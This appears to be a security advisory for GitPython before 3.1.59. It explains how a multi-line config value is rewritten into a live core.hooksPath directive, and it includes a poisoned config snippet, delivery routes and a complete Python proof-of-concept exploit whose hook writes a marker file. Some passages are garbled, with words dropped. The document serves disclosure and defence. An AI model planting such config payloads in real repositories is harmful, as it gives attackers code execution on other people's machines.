| Package | Affected versions | Patched versions |
|---|---|---|
| gitpython | < 3.1.59 | 3.1.59 |
| gitpython | < 3.1.59 | 3.1.59 |
git/config.py — GitConfigParser._read() (multi-line value decoding, lines 444-541, esp. string_decode() at line 460 and its call sites at 519/541) and GitConfigParser._write()/write_section() (serialization, lines ~694-712, esp. line 708)9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)GitPython added UNSAFE_CONFIG_CHARS_RE / _value_to_string_safe() / _assure_config_name_safe() guards (commits c417af46, 1ed1b924, a495ccd3, and PR #2176) to reject a Python string containing a raw \r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument to set(), set_value(), add_value(), or add_section(). This closed the four config-injection GHSAs above.
That guard is applied only on the write-argument surface. It is never consulted for values that entered GitConfigParser._sections via _read() — i.e. values that came from parsing an on-disk config file. And _read() legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and string_decode() (.decode('unicode_escape')) decodes a literal two-character \n escape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real git itself uses and accepts.
The bug is in what happens when that GitConfigParser is later flushed: write_section() (line ~694) calls the unsafe self._value_to_string(v) — not _value_to_string_safe() — and "handles" any embedded newline in the value with .replace("\n", "\n\t") (line 708), emitting a bare, unquoted <real newline><tab> in the output file with no re-quoting and no backslash-continuation marker. Real git does treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the line ends in a literal immediately before the newline. So the moment re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an the next time anyone (GitPython or real ) parses the file. If an attacker chooses the dormant value's content to be , that second line is parsed as a brand-new directive — live, real Git configuration, not a value.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free\write_section()git<anything>\nhooksPath = <attacker path>core.hooksPath = <attacker path>core.hooksPath is honored by essentially every hook-firing git operation (commit, checkout, merge, push, rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.
GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (write_section() using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The c417af46 commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.
.git/config (or any file merged into it via [include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:
[core]
zzz = "A\nhooksPath = ../evil-hooks\
"
No raw \r, \n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real git config --get core.hookspath returns nothing at this point (inert); git config --get core.zzz returns the decoded string A\nhooksPath = ../evil-hooks, identically to GitPython's own reader.git.Repo(path), read_only=False implicitly for a normal config_writer() use) and performs any single, unrelated, legitimate config write on the same GitConfigParser instance — e.g. repo.config_writer().set_value("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs.GitConfigParser._write()/write_section() re-serializes every resident value, including the dormant zzz entry, using the unsafe path. The file on disk now contains, verbatim:
[core]
...
zzz = A
hooksPath = ../evil-hooks
git config --get core.hookspath now returns ../evil-hooks — a key that did not exist before step 2, created purely by GitPython's own write.git commit) executes ../evil-hooks/pre-commit (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 "Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.
<anything>\n<injected-key> = <injected-value>. Realistic delivery:
.git directory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve .git, "repo" tarball/zip distributions that include .git/config. The poisoned value sits directly in .git/config.[include] pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) — GitConfigParser.read() merges included files' sections into the same _sections dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own .git/config to already reference the include, e.g. via project setup tooling that adds include.path).GHSA-v87r-6q3f-2j67 (their writeup cites MLRun's project.push()).git/config.py:460 (string_decode), invoked at git/config.py:519 and :541 inside _read()'s multi-line handling — decodes unicode_escape, turning a literal \n escape into a real embedded LF.git/config.py:~694-712 (_write()/write_section()) — uses self._value_to_string(v) (unsafe variant) and .replace("\n", "\n\t") with no re-quoting.c417af46 (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message.git log -S"string_decode", -S"write_section", -S'replace("\n", "\n\t")' on git/config.py show these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86, b825dc74, cb68eef0, 21ec5299), never by a security fix.gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated config_writer() write → core.hookspath becomes live per real git config --get → a subsequent git commit executes the injected hook and writes a benign marker file.UNSAFE_CONFIG_CHARS_RE/VALID_CONFIG_OPTION_NAME_RE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via _known-advisories.json (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism..git/config is rewritten by real git config user.name Test2 (a control test), the multi-line zzz entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.hooksPath = ... line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally; core.hooksPath is honored unconditionally by git's hook-invocation machinery.GHSA-v87r-6q3f-2j67.config_writer() write → core.hookspath live per real git → hook fires on git commit, marker file written).Either (a) make write_section()/_write() use _value_to_string_safe() (or equivalent re-quoting) for every resident value, including those that originated from _read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach _sections at all if the parser is opened in read_only=False mode, or (c) canonicalize output using git's own git config --file <path> --replace-all semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of _value_to_string_safe() already used on the setter path.
High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live core.hookspath → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.
gitpython-002-poc.py)#!/usr/bin/env python3
"""
GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value
(standard quoted + backslash-continuation syntax, containing an escaped "\\n"
that decodes to a real embedded newline in memory) is corrupted into a NEW,
live config key the moment GitConfigParser re-serializes it during any
unrelated write. If the smuggled second "line" looks like
"hooksPath = <attacker path>", it becomes a real, active core.hooksPath after
one unrelated GitPython config write, and fires attacker code on the next
hook-triggering git operation (e.g. `git commit`).
This is CWE-88/CWE-94 style argument/config injection, but via the READ path
(a config file GitPython parses and later rewrites), not via a Python kwarg
argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /
GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all
guard the setter-argument surface only.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>
Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a
marker file; no destructive/exfiltrating payload. Exits non-zero and prints
"NOT VULNERABLE" if the corruption / hook does not fire.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc"
repo_dir = os.path.join(workdir, "repo")
hooks_dir = os.path.join(workdir, "evil-hooks")
marker = os.path.join(workdir, "PWNED_MARKER.txt")
for p in (repo_dir, hooks_dir):
os.makedirs(p, exist_ok=True)
if os.path.exists(marker):
os.remove(marker)
subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True)
subprocess.run(["git", "-C", repo_dir, "config", "user.email", "[email protected]"], check=True)
subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True)
# Rewrite .git/config with a dormant, 100%-valid multi-line quoted value
# inside [core] (before any other section). No raw CR/LF/NUL byte is
# written to disk here -- this is standard git config quoting +
# backslash-line-continuation, decoded by both real git and GitConfigParser
# into the Python string 'A\nhooksPath = ../evil-hooks'.
cfg_path = os.path.join(repo_dir, ".git", "config")
with open(cfg_path) as f:
original = f.read()
poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n'
# Insert right after the [core] header line so it lives in the same section.
new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1)
with open(cfg_path, "w") as f:
f.write(new_config)
# Confirm it's inert per real git before touching GitPython.
pre = subprocess.run(
["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
capture_output=True, text=True,
)
if pre.returncode == 0:
print("SETUP ERROR: core.hookspath already set before GitPython touched anything")
sys.exit(2)
# Malicious hook: benign marker only.
hook_path = os.path.join(hooks_dir, "pre-commit")
with open(hook_path, "w") as f:
f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker)
os.chmod(hook_path, 0o755)
import git # gitpython under test
repo = git.Repo(repo_dir)
before = repo.config_reader().get_value("core", "zzz")
print("core.zzz before any GitPython write =", repr(before))
# ONE totally unrelated, benign write -- this is the only "attacker-adjacent"
# action required, and it is something virtually every GitPython consumer
# does routinely (setting an option, adding a remote, updating a branch's
# tracking config, ...).
with repo.config_writer() as cw:
cw.set_value("user", "name", "Test User")
post = subprocess.run(
["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
capture_output=True, text=True,
)
if post.returncode != 0:
print("NOT VULNERABLE: core.hookspath still absent after the unrelated write")
sys.exit(1)
injected_path = post.stdout.strip()
print("core.hookspath is now LIVE after one unrelated write:", injected_path)
# Trigger the hook with a normal commit to prove it fires.
with open(os.path.join(repo_dir, "file2.txt"), "w") as f:
f.write("change\n")
subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True)
subprocess.run(
["git", "-C", repo_dir, "-c", "[email protected]", "-c", "user.name=T",
"commit", "-q", "-m", "trigger hook"],
check=True,
)
if os.path.isfile(marker):
with open(marker) as f:
content = f.read().strip()
print("VULNERABLE: hook fired, marker content =", content)
sys.exit(0)
else:
print("NOT VULNERABLE: hook did not fire")
sys.exit(1)
if __name__ == "__main__":
main()